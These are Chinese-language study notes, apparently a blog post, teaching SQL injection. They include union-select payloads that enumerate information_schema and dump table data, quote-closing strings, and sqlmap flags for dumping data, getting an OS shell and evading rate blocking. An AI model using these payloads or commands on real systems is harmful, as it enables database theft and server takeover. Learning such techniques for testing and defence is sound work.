SQL注入 学习笔记

        SQL注入漏洞:程序对用户输入的字符串没有进行过滤或处理不严谨,导致用户可以通过构造语句非法获取数据库中的信息

        SQL(Structured Query Language):结构化查询语言,操作数据库的语言,可以对数据库进行增、删、改、查等操作

        SQL注入的注入指:将用户输入的数据拼接到原始代码中,从而使得被注入的数据当作代码执行

注入步骤:

1)判断是否存在注入 and 1 = 1,and 1 = 2

2)判断字段数 order by(若2正常、3异常,说明存在2个字段数)

3)判断显错位        联合查询 union (要求字段数相同)

         and 1 = 2 union select 1,2

        "显错位" :指攻击者通过在恶意的 SQL 语句中插入恶意代码,从而在网站或应用程序的响应中看到错误消息或不正常的信息,从中获取有关数据库结构、数据或应用程序的敏感信息。

4) 判断库名: database()查询数据库,写在显错位处

5)查询表名 information_schema(mysql数据库5.0及以上版本,自带数据库,记录了mysql数据库下所有的数据库名、表名、列名信息)

           Information_schema.tables(记录表名信息的表)

           Information_schema.columns(记录列名信息的表)

           Table_name(当前库下所有表名)

           Column_name(当前库下所列名)

           Table_schema(数据库名)

Union select 1(填充位),table_name from information_schema . tables where table_schema = 已知库名 加引号

【列出数据库中所有的表名】

group_concat 一次性全部显示
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘已知库名’

6)查询列名

Union select 1(填充位),column_name from information_schema . columns where table_schema = 已知库名 and table_name = (已查出的表名)

查询其他字段:Limit 0,1(位数,个数:第一位 一个字段)、limit 1,1(第二位、一个字段)

【列出目标表中的所有字段】

union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’ 目标表名’ and table_schema=database()

7)列出目标字段中的信息

Union select 1,要查询具体数据的字段名 from 表名

执行 union select 1,2,group_concat(目标字段) from 目标表名

引号闭合

‘ and 1=1 – a

‘ and 1=1 or ‘1’ = ‘1

使输入的内容与前半部分配对,再把后半部分注释掉,让后面的代码逃逸出来生效

sqlmap

SQLMap 是一个流行的自动化 SQL 注入工具,用于检测和利用 web 应用程序中的 SQL 注入漏洞

常见指令:

-u:指定注入点 + 网址

--dbs:查询库名     

--tables:查询表名【-D + 指定的库名 -–tables】

--columns:查询字段 【-D + 指定的库名 -T + 指定的表名 --columns】

--dump:获取目标数据【……    -C +指定的字段名 --dump】

--random-agent:选择随机user-agent头(判断UA头和IP是否一致,以防系统被恶意快速访问)

--delay=1:每次探测延时1s(防止由于访问过快被阻断)

--count:检测数据量

--level 1-5检测等级,level等级越高检测越详细

--risk 2:测试更多的语句   常用:--level 3 –risk 2

--is-dba:检测当前的注入点的用户的权限  true->管理员权限

--os-shell:获取注入点服务器的cmd

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值